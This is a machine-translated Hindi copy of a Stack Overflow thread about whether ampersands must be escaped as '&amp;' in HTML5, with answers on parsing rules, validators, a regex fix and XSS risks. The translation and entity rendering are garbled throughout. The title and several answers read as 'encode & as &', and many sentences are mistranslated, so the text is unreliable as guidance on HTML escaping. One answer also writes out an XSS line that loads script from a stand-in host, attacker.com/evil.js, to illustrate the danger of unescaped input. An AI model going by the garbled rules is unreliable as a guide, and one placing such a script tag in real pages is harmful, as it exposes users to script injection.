क्या मुझे वास्तव में '&' के रूप में '& amp' को एनकोड करना होगा?

207

मैं &अपनी साइट में HTML5 और UTF-8 के साथ एक ' ' प्रतीक का उपयोग कर रहा हूं <title>। Google अपने SERPs पर एम्परसेंड को ठीक दिखाता है, जैसा कि उनके शीर्षकों में सभी ब्राउज़र करते हैं।

http://validator.w3.org मुझे यह दे रहा है:

& एक चरित्र संदर्भ शुरू नहीं किया। (और शायद के रूप में बच जाना चाहिए था &।)

क्या मुझे वास्तव में करने की आवश्यकता है &?

मुझे मान्य करने के लिए मेरे पृष्ठों को मान्य करने के बारे में नहीं बताया गया है, लेकिन मैं इस पर लोगों की राय सुनने के लिए उत्सुक हूं और यदि यह महत्वपूर्ण है और क्यों।

— Haroldo
स्रोत

63

चश्मा ऐसा नहीं कहता। पोस्टर HTML5 को संदर्भित करता है जिसमें सभी परिदृश्यों में एम्परसेंड से बचने की आवश्यकता नहीं होती है।

— मैथ्यू विल्सन

2

यह समुदाय विकी होना चाहिए, जैसा कि आप राय की तलाश कर रहे हैं, और सत्यापन के बारे में उधम मचाते हुए नहीं है जिसका अर्थ है कि कोई उद्देश्य आधार नहीं है जिस पर जवाब देना है।

— रिचर्ड जेपी ले गुएन

6

@ रिचर्ड: सच में? हालांकि मैं इस बात से सहमत नहीं हूँ कि "सत्यापन कोई मायने नहीं रखता है", मैं इसे एक बहुत ही वस्तुनिष्ठ प्रश्न के रूप में देखता हूं: "क्या यह कल्पना के अलावा कुछ और तोड़ता है?"

— जोचिम सॉर

2

@YiJiang वर्तमान वेब ब्राउज़र उपयोगकर्ता को समझने के लिए बड़ी लंबाई तक जाते हैं । और ऐसा ही Google करता है । यह कल्पना का हिस्सा है। भविष्य के वेब-ब्राउज़र कम क्षमाशील हो सकते हैं। तो यह हमेशा एक अच्छा विचार है कि विकिपीडिया यह कैसे जाँचता है, और उन्हें कॉपी करता है।

— unixman83

2

HTML कल्पना बकवास इनपुट को स्वीकार करने के लिए कहती है। क्या इसका मतलब है कि आपकी साइट को अब "बकवास" होने की अनुमति है? करीबी टैग जिन्हें बंद करने और चीजों से बचने की जरूरत है! चलो करते हैं।

— doug65536

143

हाँ। HTML में त्रुटि के रूप में कहा गया है, विशेषताएँ #PCDATA हैं जिसका अर्थ है कि वे पार्स हैं। इसका मतलब है कि आप विशेषताओं में वर्ण संस्थाओं का उपयोग कर सकते हैं। &स्वयं का उपयोग करना गलत है और यदि उदार ब्राउज़रों के लिए नहीं है और यह तथ्य कि यह एचटीएमएल नहीं एक्सएचटीएमएल है, पार्सिंग को तोड़ देगा। बस के रूप में यह बच &और सब कुछ ठीक हो जाएगा।

HTML5 आपको इसे बिना छोड़े छोड़ने की अनुमति देता है, लेकिन केवल तब जब निम्न डेटा एक मान्य वर्ण संदर्भ की तरह नहीं दिखता है। हालाँकि, इस प्रतीक के सभी उदाहरणों से बचना बेहतर है, इस चिंता से कि कौन सा होना चाहिए और किन लोगों को होने की आवश्यकता नहीं है।

इस बिंदु को ध्यान में रखें; यदि आप & amp; से बच नहीं रहे हैं, तो आपके द्वारा बनाए गए डेटा के लिए यह काफी बुरा है (जहां कोड बहुत अच्छी तरह से अमान्य हो सकता है), आप टैग डेलिमिटर से भी बच नहीं सकते हैं, जो उपयोगकर्ता द्वारा प्रस्तुत डेटा के लिए एक बड़ी समस्या है, जो बहुत अच्छी तरह से HTML और स्क्रिप्ट इंजेक्शन, कुकी चोरी और अन्य कारनामों को जन्म दे सकता है।

कृपया अपने कोड से बच जाएं। यह आपको भविष्य में बहुत परेशानी से बचाएगा।

— डेलन अजाबनी
स्रोत

9

कोई भी ब्राउज़र कभी भी अपने आप से "गलत व्याख्या" नहीं करेगा। हर मौजूदा ब्राउज़र इसे "&" के रूप में प्रदर्शित करता है। यह देखते हुए कि उन्होंने स्पष्ट रूप से इसे करने का व्यावहारिक कारण पूछा है, और उन्होंने कहा कि उन्हें मान्यता की परवाह नहीं है ..

— थॉमस बोनिनी

47

हाँ। लेकिन नैतिक रूप से, क्या हमें ब्राउज़रों की उदारता और "अच्छी" त्रुटि से निपटने पर भरोसा करना चाहिए ? या हमें सिर्फ सही कोड लिखना चाहिए?

— डेलन अजाबानी

8

@ डेलन: जब तक मैं अपने द्वारा लिखे गए हर पृष्ठ को वैध बनाने की कोशिश करता हूं, मैं उनके प्रश्न को पढ़ने से समझता हूं कि उन्हें "नैतिक रूप से" परवाह नहीं है। वह बस परवाह करता है कि यह काम करता है या नहीं। वे दो अलग-अलग दर्शन हैं और दोनों में उनके पक्ष और विपक्ष हैं, और एक "सही" नहीं है। उदाहरण के लिए यह वेबसाइट मान्य नहीं है, और फिर भी यह एक महान वेबसाइट है।

— थॉमस बोनी

3

@ और, लेकिन ब्राउज़र में पर्याप्त कीड़े हैं कि वे सही कोड की व्याख्या कैसे करते हैं, इस पर निर्भर करता है कि जब आप उन्हें निरर्थक मार्कअप भेजते हैं तो उन्हें सही परिणाम मिलते हैं। यह आज उस उदाहरण के साथ काम कर सकता है, और फिर अगले उदाहरण के साथ असफल हो सकता है (कहो कि अगर अगले उदाहरण में कहीं के बाद एक अर्ध-बृहदान्त्र है)

— जॉन हैना

11

हर कोई HTML5 के बारे में बात कर रहा है, लेकिन मूल प्रश्न बताता है कि HTML5 उपयोग में है। एचटीएमएल 5 स्पष्ट रूप से एक अप्रत्याशित और इस स्थिति में अनुमति देता है, जब तक कि एक इकाई का अनुसरण और सामान्य रूप से विस्तार नहीं होगा (जैसे & copy = 2 समस्याग्रस्त है लेकिन & x = 2 ठीक है)।

— मैथ्यू विल्सन

55

एक तरफ मान्यता, तथ्य यह है कि कुछ वर्ण एन्कोडिंग एक HTML दस्तावेज़ के लिए महत्वपूर्ण है ताकि यह एक वेब पेज के रूप में ठीक से और सुरक्षित रूप से प्रस्तुत कर सके।

एन्कोडिंग &के रूप में &सभी परिस्थितियों में, मेरे लिए, से जीने के लिए त्रुटियों और विफलताओं की संभावना को कम करने के लिए एक आसान नियम है।

निम्नलिखित की तुलना करें: जो आसान है? जो आसान है अप मैथुन करने के लिए ?

पद्धति 1

कुछ सामग्री लिखें जिसमें एम्परसेंड अक्षर शामिल हैं।
इन सभी को एनकोड करें।

कार्यप्रणाली २

(नमक के एक दाने के साथ, कृपया;))

कुछ सामग्री लिखें जिसमें एक एम्परसेंड वर्ण शामिल हैं।
केस-दर-मामला आधार पर, प्रत्येक एम्परसेंड को देखें। निर्धारित करें यदि:
- यह अलग-थलग है, और इस तरह के रूप में स्पष्ट रूप से एक एम्परसेंड। जैसे। volt & amp
  > उस मामले में यह एन्कोडिंग को परेशान नहीं करता है।
- यह अलग-थलग नहीं है, लेकिन आपको लगता है कि यह पूरी तरह से अस्पष्ट है, क्योंकि परिणामस्वरूप इकाई मौजूद नहीं है और कभी भी अस्तित्व में नहीं होगी क्योंकि इकाई सूची कभी भी विकसित नहीं हो सकती है। उदाहरण के लिए amp&volt
  > उस मामले में इसे एन्कोडिंग परेशान न करें।
- यह अलग नहीं है, और अस्पष्ट है। जैसे। volt&amp
  > इसे एनकोड करें।

??

— रिचर्ड जेपी ले गुएन
स्रोत

3

का दूसरा मामला amp&volt है अस्पष्ट: है &voltनहीं अब एक इकाई संदर्भ या?

— गुम्बो

6

@Gumbo एम्परसेंड में amp&voltहै नहीं एक अस्पष्ट एम्परसेंड (एचटीएमएल कल्पना में परिभाषा के अनुसार)। Mathiasbynens.be/notes/ambiguous-ampersands और mothereff.in/ampersands#amp%26volt देखें ।

— मैथियास ब्यनेंस 12

@MathiasBynens अब (2019) तक, अस्पष्ट एम्परसेंड की परिभाषा ने 2011 में मैथियासबीनेन्स.बे / नॉट्स / नोटिजस-कंपैन्डबैंड में वापस उद्धृत की गई परिभाषा से थोड़ा बदल दिया है ।

— जैकब सी। कहते हैं

21

HTML5 नियम HTML4 से भिन्न हैं। यह HTML5 में आवश्यक नहीं है - जब तक कि एम्परसेंड ऐसा नहीं लगता कि यह एक पैरामीटर नाम शुरू करता है। "और कॉपी = 2" अभी भी एक समस्या है, उदाहरण के लिए, चूंकि और कॉपी; कॉपीराइट प्रतीक है।

हालांकि यह मुझे लगता है कि निम्नलिखित पाठ के आधार पर सांकेतिक शब्दों में बदलना या नहीं तय करना कठिन काम है। तो सबसे आसान रास्ता शायद हर समय सांकेतिक है।

— मैथ्यू विल्सन
स्रोत

2

यह विशेषता मानों को उद्धृत करने जैसा है - आपके पास नहीं है, लेकिन यदि आप इसे हर समय करते हैं तो आप गलत नहीं हो सकते।

— पॉल डी। वेट

3

&copy=2एक समस्या इतनी बड़ी नहीं है जितनी आप सोच सकते हैं। विशेषता मानों में (जैसे hrefविशेषता), के &copyलिए वर्ण संदर्भ नहीं माना जाएगा ©। एक विशेषता मूल्य के बाहर, यह होगा।

— मथियास ब्यनेंस

यह देखते हुए कि एक एम्परसेंड सामान्य रूप से पहले और अंग्रेजी पाठ में एक स्थान के बाद है, यह मेरे द्वारा पालन किए गए नियम के बारे में याद रखना या सोचना मुश्किल नहीं है: यदि एम्परसैंड एक अन्य दृश्यमान चरित्र को नहीं छू रहा है, जो लगभग हमेशा है, तो इसकी आवश्यकता नहीं है एन्कोडिंग। अन्यथा, बस सादगी के लिए सांकेतिक शब्दों में बदलना।

— कार्ल स्मिथ

क्या आप HTML5 नियमों का संदर्भ जोड़ सकते हैं?

— फेरीबिग

17

मुझे लगता है कि यह "ब्राउज़र की परवाह न करने पर कल्पना का पालन क्यों करें" के एक प्रश्न में बदल गया है। यहाँ मेरा सामान्यीकृत उत्तर है:

मानक कोई "वर्तमान" चीज नहीं है। वे एक "भविष्य" चीज हैं। यदि हम, डेवलपर्स के रूप में, वेब मानकों का पालन करते हैं, तो ब्राउज़र विक्रेता उन मानकों को सही ढंग से लागू करने की अधिक संभावना रखते हैं, और हम पूरी तरह से इंटरऑपरेबल वेब के करीब चले जाते हैं, जहां सीएसएस हैक, फीचर डिटेक्शन और ब्राउज़र का पता लगाना आवश्यक नहीं है। जहां हमें यह पता लगाने की ज़रूरत नहीं है कि किसी विशेष ब्राउज़र में हमारे लेआउट क्यों टूटते हैं, या उसके आसपास कैसे काम करना है।

विशेष रूप से, यदि HTML5 को & amp का उपयोग करने की आवश्यकता नहीं है; आपकी विशिष्ट स्थिति में, और आप एक HTML5 सिद्धांत का उपयोग कर रहे हैं (और यह भी अपेक्षा करते हैं कि आपके उपयोगकर्ता HTML5-अनुरूप ब्राउज़र का उपयोग कर रहे हैं), तो ऐसा करने का कोई कारण नहीं है।

— रेयान कीनाल
स्रोत

1

कहा जा रहा है कि, आम तौर पर बोलते हुए, आपको याद रखना चाहिए कि अधिकांश "मानक" तरीके अभी भी ड्राफ्ट मोड में हैं और भविष्य में बदल सकते हैं।

— रेफेलियो

6

खैर, अगर यह उपयोगकर्ता इनपुट से आता है तो बिल्कुल हाँ, स्पष्ट कारणों के लिए। सोचें कि क्या यह बहुत वेबसाइट ने ऐसा नहीं किया: इस सवाल का शीर्षक यह दिखाएगा कि क्या मुझे वास्तव में '&' के रूप में '&' को एनकोड करना है?

अगर यह कुछ ऐसा ही है echo '<title>Dolce & Gabbana</title>';तो सख्ती से बोलना आपको नहीं है। यह बेहतर होगा, लेकिन यदि आप कोई उपयोगकर्ता नहीं करते हैं तो अंतर पर ध्यान नहीं दिया जाएगा।

— थॉमस बोनी
स्रोत

5

क्या आप हमें दिखा सकते हैं कि आपका titleवास्तव में क्या है? जब मैं जमा करता हूँ

<!DOCTYPE html>
<html>
<title>Dolce & Gabbana</title>
<body>
<p>am i allowed loose & mpersands?</p>
</body>
</html>

करने के लिए http://validator.w3.org/ - स्पष्ट रूप से प्रयोगात्मक एचटीएमएल 5 मोड का उपयोग करने के लिए इसे पूछ - इसके बारे में कोई शिकायत नहीं है &s ...

— AakashM
स्रोत

1

हां, HTML5 में पिछले HTML और XHTML पार्सर की तुलना में एक अलग पार्सर है, और कुछ स्थितियों में अप्रकाशित एम्परसेंड की अनुमति देता है।

— केविनजी

जहाँ तक ये उदाहरण चलते हैं, यह HTML5 में कुछ भी नया नहीं है। दोनों <title>Dolce & Gabbana</title>और Dolce & Gabbanaमान्य HTML 2.0 है।

— मथियास बिएनेंस

4

HTML &में एक संदर्भ की शुरुआत, या तो एक चरित्र संदर्भ या एक इकाई संदर्भ का प्रतीक है । उस बिंदु से पार्सर पर या तो एक #चरित्र संदर्भ को दर्शाता है, या एक इकाई का नाम एक इकाई के संदर्भ को निरूपित करता है, दोनों एक का अनुसरण करते हैं ;। वह सामान्य व्यवहार है।

लेकिन अगर संदर्भ नाम या सिर्फ संदर्भ उद्घाटन &एक सफेद स्थान या अन्य सीमांकक द्वारा पीछा किया जाता तरह ", ', <, >, &, न खत्म होने वाली ;और यहां तक कि एक एक सादे प्रतिनिधित्व करने के लिए संदर्भ &छोड़ा जा सकता है:

<p title="&amp;">foo &amp; bar</p>
<p title="&amp">foo &amp bar</p>
<p title="&">foo & bar</p>

केवल इन मामलों में समाप्त होने ;या यहां तक कि संदर्भ को स्वयं छोड़ा जा सकता है (कम से कम HTML 4 में)। मुझे लगता है कि HTML 5 को समाप्त करने की आवश्यकता है ;।

लेकिन विनिर्देश हमेशा भ्रम से बचने के लिए चरित्र संदर्भ &या इकाई संदर्भ जैसे संदर्भ का उपयोग करने की सलाह देते हैं& :

लेखकों को चरित्र संदर्भ (इकाई संदर्भ खुला सीमांकक) की शुरुआत के साथ भ्रम से बचने के लिए &" &" के बजाय " " (ASCII दशमलव 38) का उपयोग करना चाहिए । लेखकों को भी &विशेषता मानों में " " का उपयोग करना चाहिए क्योंकि CDATA विशेषता मानों के भीतर वर्ण संदर्भों की अनुमति है।

— Gumbo
स्रोत

1

वह HTML 4 युक्ति है जिससे आप लिंक करते हैं; (ड्राफ्ट) एचटीएमएल 5 कल्पना के मेरे पढ़ने से, केवल अस्पष्ट एम्परसेंड को रोक दिया जाता है। एक एम्परसेंड द्वारा पीछा किया गया एक स्थान, उदाहरण के लिए, अस्पष्ट नहीं है, और इसलिए (मेरे पढ़ने के द्वारा) को अनुमति दी जानी चाहिए - मार्कअप के लिए मेरा जवाब देखें कि HTML 5 सत्यापनकर्ता स्वीकार करता है।

— आकाशवाणी

1

@ आकाश: मुझे यकीन नहीं है, यह उस तरह लग रहा था।

— गुमबो

3

यदि उपयोगकर्ता इसे आपको पास करता है, या यह URL में हवा देगा, तो आपको इससे बचने की आवश्यकता है।

यदि यह एक पृष्ठ पर स्थिर पाठ में दिखाई देता है? सभी ब्राउज़रों को यह एक ही रास्ता मिलेगा, आप इसके बारे में ज्यादा चिंता न करें, क्योंकि यह काम करेगा।

— डीन जे
स्रोत

3

अद्यतन (मार्च 2020): W3C सत्यापनकर्ता अब URL से बचने के बारे में शिकायत नहीं करता है।

मैं जाँच कर रहा था कि Image URL की आवश्यकता क्यों बच रही है, इसलिए इसे https://validator.w3.org में आज़माया । स्पष्टीकरण बहुत अच्छा है। यह इस बात पर प्रकाश डालता है कि यहां तक कि URL के बच जाने की आवश्यकता है। [पुनश्च: मुझे लगता है कि URL की आवश्यकता के बाद से इसका उपभोग होने पर यह अप्राप्त हो जाएगा &। क्या कोई स्पष्ट कर सकता है?]

<img alt="" src="foo?bar=qut&qux=fop" />

दस्तावेज़ में एक इकाई संदर्भ पाया गया था, लेकिन उस नाम द्वारा परिभाषित कोई संदर्भ नहीं है। अक्सर यह संदर्भ नाम को मिस करने, अनएन्कोडेड एम्परसेंड्स या ट्रेलिंग सेमोलोन (;) को छोड़ने से होता है। इस त्रुटि का सबसे आम कारण URL में unencoded ampersands है जैसा कि WDG द्वारा "URLs में Ampersands" में वर्णित है। इकाई संदर्भ एक एम्परसेंड (और) से शुरू होते हैं और एक अर्धविराम (;) के साथ समाप्त होते हैं। यदि आप अपने दस्तावेज़ में शाब्दिक एम्परसेंड का उपयोग करना चाहते हैं, तो आपको इसे "&" (URL के अंदर भी) के रूप में एन्कोड करना होगा। एक अर्धविराम के साथ इकाई संदर्भों को समाप्त करने के लिए सावधान रहें या आपके पाठ के संदर्भ में निम्नलिखित पाठ के संबंध में व्याख्या की जा सकती है। यह भी ध्यान रखें कि नामित इकाई संदर्भ केस-संवेदी हैं; & Aelig; और æ अलग-अलग वर्ण हैं।

— निशांत
स्रोत

1

शीर्ष मतदान जवाब पढ़ें। विशेषताएँ #PCDATA हैं और इसलिए पार्स की गई हैं। संस्थाओं को वहां संभाला जाता है। आपके उदाहरण में, &एक इकाई संदर्भ प्रारंभ करता है। पढ़ने के बाद &qux, पार्सर को कोई अंतिम अर्धविराम ( ;) नहीं मिलता है , लेकिन यह बराबर चिह्न ( =) में चलता है , जो इकाई नाम का हिस्सा नहीं हो सकता है। यह पार्स त्रुटि होनी चाहिए, अगर पार्सर वास्तव में सख्त होने की कोशिश की (HTML 4 के अनुसार)। HTML 5 में, पार्सिंग वाली इकाइयाँ कुल मिलाकर अधिक सुकून देती हैं।

— पेलेक

1

मुझे संदेह है कि सामान्य ;तौर पर क्वेरी स्ट्रिंग्स में विभाजक के रूप में उपयोग करना सबसे अच्छा है (जब आप लिंक को नियंत्रित करते हैं) उस कारण से।

— डेमी

2

हां, यदि संभव हो तो आपको मान्य कोड की सेवा करने का प्रयास करना चाहिए।

अधिकांश ब्राउज़र चुपचाप इस त्रुटि को ठीक कर देंगे, लेकिन ब्राउज़र में त्रुटि से निपटने पर भरोसा करने में समस्या है। गलत कोड को कैसे हैंडल करना है, इसके लिए कोई मानक नहीं है, इसलिए यह प्रत्येक ब्राउज़र विक्रेता के ऊपर है कि वह यह पता लगाने की कोशिश करे कि प्रत्येक त्रुटि के साथ क्या करना है, और परिणाम भिन्न हो सकते हैं।

कुछ उदाहरण जहां ब्राउज़र अलग-अलग प्रतिक्रिया करने की संभावना रखते हैं, यदि आप तत्वों को एक तालिका के अंदर लेकिन तालिका कोशिकाओं के बाहर रखते हैं, या यदि आप एक दूसरे के अंदर लिंक करते हैं।

आपके विशिष्ट उदाहरण के लिए यह किसी भी समस्या का कारण होने की संभावना नहीं है, लेकिन ब्राउज़र में त्रुटि सुधार उदाहरण के लिए हो सकता है कि ब्राउज़र मानकों के अनुरूप मोड से quirks मोड में बदल सकता है, जिससे आपका लेआउट पूरी तरह से टूट सकता है।

इसलिए, आपको कोड में इस तरह की त्रुटियों को ठीक करना चाहिए, यदि कुछ और के लिए नहीं है तो सत्यापनकर्ता की त्रुटि सूची को कम रखने के लिए, ताकि आप और अधिक गंभीर समस्याएं ला सकें।

— Guffa
स्रोत

2

कुछ साल पहले, हमें एक रिपोर्ट मिली थी कि हमारा एक वेब ऐप फ़ायरफ़ॉक्स में सही ढंग से प्रदर्शित नहीं हो रहा था। यह पता चला कि पृष्ठ में एक टैग शामिल था जो दिखता था

<div style="..." ... style="...">

जब दोहराया शैली विशेषता के साथ सामना किया जाता है, IE दोनों शैलियों को जोड़ती है, जबकि फ़ायरफ़ॉक्स केवल उनमें से एक का उपयोग करता है, इसलिए अलग व्यवहार। मैंने टैग को बदल दिया है

<div style="...; ..." ...>

और यकीन है कि पर्याप्त, यह समस्या तय हो गई! कहानी का नैतिक यह है कि ब्राउज़रों के पास अवैध HTML की तुलना में वैध HTML के अधिक सुसंगत हैंडलिंग है। तो, अपने लानत मार्कअप को पहले से ही ठीक कर लें! (या इसे ठीक करने के लिए HTML साफ का उपयोग करें।)

— dan04
स्रोत

1

अगर html& में प्रयोग किया जाता है तो आपको इससे बचना चाहिए

यदि &इसका उपयोग जावास्क्रिप्ट स्ट्रिंग्स में किया जाता है जैसे कि एक alert('This & that');या document.href तो आपको इसका उपयोग करने की आवश्यकता नहीं है।

यदि आप डॉक्यूमेंट का उपयोग कर रहे हैं, तो आपको इसका उपयोग करना चाहिए document.write(this & that)

— एलेक्स
स्रोत

document.writeसे बचा जाना चाहिए। चेतावनी बॉक्स को w3.org/html/wg/drafts/html/master/dom.html#document.write%28%29

— Oriol

अच्छी बात है document.write()। लेकिन सभी बिंदु पर एलेक्स स्क्रिप्ट स्टैंड, इमो से दस्तावेज़ को लिखने के बारे में बना रहा है। +1

— पैट्रिक एम

1

यह एक अर्धविराम आपके पास समाप्त होने की संभावना पर निर्भर करता है &, जिससे यह कुछ अलग प्रदर्शित करता है।

उदाहरण के लिए, जब उपयोगकर्ताओं से इनपुट के साथ काम करना (कहते हैं, यदि आप अपने शीर्षक टैग में एक मंच पोस्ट के उपयोगकर्ता-प्रदान किए गए विषय को शामिल करते हैं), तो आप कभी नहीं जानते कि वे यादृच्छिक अर्धविराम कहां डाल सकते हैं, और यह बेतरतीब ढंग से अजीब संस्थाओं को प्रदर्शित कर सकता है। इसलिए हमेशा उस स्थिति में बचकर रहें।

अपने स्वयं के स्थिर html के लिए, निश्चित रूप से, आप इसे छोड़ सकते हैं, लेकिन उचित पलायन को शामिल करना इतना तुच्छ है, कि इससे बचने का कोई अच्छा कारण नहीं है।

— डगलस
स्रोत

0

यदि आप वास्तव में स्थैतिक पाठ के बारे में बात कर रहे हैं

<title>Foo & Bar</title>

हार्ड डिस्क पर कुछ फ़ाइल में संग्रहीत और सीधे एक सर्वर द्वारा परोसा जाता है, तो हाँ: यह शायद बचने की आवश्यकता नहीं है।

हालाँकि, आजकल बहुत कम HTML सामग्री है जो पूरी तरह से स्थिर है, मैं निम्नलिखित अस्वीकरण जोड़ूंगा जो मानता है कि HTML सामग्री किसी अन्य स्रोत (डेटाबेस सामग्री, उपयोगकर्ता इनपुट, वेब सेवा कॉल परिणाम, विरासत एपीआई परिणाम) से उत्पन्न हुई है। ..):

आप एक सरल भागने नहीं है, तो &, तो संभावना है कि आप भी एक से बच नहीं करते हैं &या एक  या या <script src="http://attacker.com/evil.js">या किसी अन्य अवैध पाठ। इसका मतलब यह होगा कि आप अपनी सामग्री को गलत तरीके से प्रदर्शित कर रहे हैं और अधिक संभावना है कि XSS हमलों के लिए संदिग्ध हैं ।

दूसरे शब्दों में: जब आप पहले से ही अन्य समस्याग्रस्त मामलों की जांच कर रहे हैं और बच रहे हैं, तो लगभग पूरी तरह से टूटे-फूटे-लेकिन-अभी भी कुछ-कुछ-स्थिर-स्टैंडअलोन को छोड़ने का कोई कारण नहीं है- और अनसेफ।

— जोआचिम सौअर
स्रोत

2

मैं हार नहीं मान रहा था, लेकिन अगर मुझे अनुमान लगाना था, तो मैं कहूंगा कि आप अस्वीकृत हो गए थे क्योंकि आपका उत्तर (जबकि बुद्धिमान) सवाल के साथ थोड़ा सा बेमेल है। वह उपयोगकर्ता इनपुट से बचने के बारे में नहीं पूछ रहा है। उसने पात्रों पर नियंत्रण किया है और मूल रूप से पूछ रहा है कि "अगर मैं जो चाहता हूं, क्या वह अक्षर के लिए भाषा की कल्पना का पालन करना महत्वपूर्ण है?" Ie, वह जानता है कि वहाँ एक है और क्योंकि वह इसे डाल दिया है।

— मैट

@ मैट: मैं देख रहा हूं, और यह उचित होगा। मैं बस यह मान रहा था कि कोई भी पूरी तरह से स्थिर HTML पृष्ठों को किसी भी अधिक नहीं लिखता है और बहुत अधिक सभी सामग्री कम से कम कुछ हद तक गतिशील (आमतौर पर कुछ डेटाबेस सामग्री पर आधारित) है। हो सकता है कि यह धारणा स्पष्ट की गई हो।

— जोकिम सॉर

-1

सुनिश्चित नहीं है कि यह किसी के लिए उपयोगी है ... मैं थोड़ी देर के लिए यह लड़ रहा था ... यहाँ एक शानदार रेगेक्स है जिसका उपयोग आप अपने सभी लिंक, जावास्क्रिप्ट, सामग्री को ठीक करने के लिए कर सकते हैं। मुझे एक टन विरासत सामग्री से निपटना पड़ा जिसे कोई भी सही नहीं करना चाहता था।

इसे अपने मास्टर पृष्ठ या नियंत्रण में अपने रेंडर ओवरराइड में जोड़ें:

कृपया इसे गलत स्थान पर रखने के लिए मुझे न भड़काएं:

// remove the & from href="blaw?a=b&b=c" and replace with &amp; 
//in urls - this corrects any unencoded & not just those in URL's
// this match will also ignore any matches it finds within <script> blocks AND
// it will also ignore the matches where the link includes a javascript command like
// <a href="javascript:alert{'& & &'}">blaw</a>
html = Regex.Replace(html, "&(?!(?<=(?<outerquote>[\"'])javascript:(?>(?!\\k<outerquote>|[>]).)*)\\k<outerquote>?)(?!(?:[a-zA-Z][a-zA-Z0-9]*|#\\d+);)(?!(?>(?:(?!<script|\\/script>).)*)\\/script>)", "&amp;", RegexOptions.Singleline | RegexOptions.IgnoreCase);

— रिचर्ड ड्यूफ़र
स्रोत

-1

लिंक का एक अच्छा उदाहरण है कि आपको कब और क्यों भागने की आवश्यकता हो सकती &है&

https://jsfiddle.net/vh2h7usk/1/

दिलचस्प बात यह है कि मुझे अपने उत्तर में यहां ठीक से प्रतिनिधित्व करने के लिए चरित्र से बचना पड़ा। यदि मैं बिल्ट-इन कोड नमूना विकल्प (उत्तर पैनल से) का उपयोग करने के लिए था , तो मैं बस टाइप कर सकता हूं &और यह वैसा ही दिखाई देता है जैसा कि यह होना चाहिए। लेकिन अगर मैं मैन्युअल रूप से <code></code>तत्व का उपयोग करने के लिए था , तो मुझे इसे सही ढंग से प्रतिनिधित्व करने के लिए बचना होगा :)

— mathin
स्रोत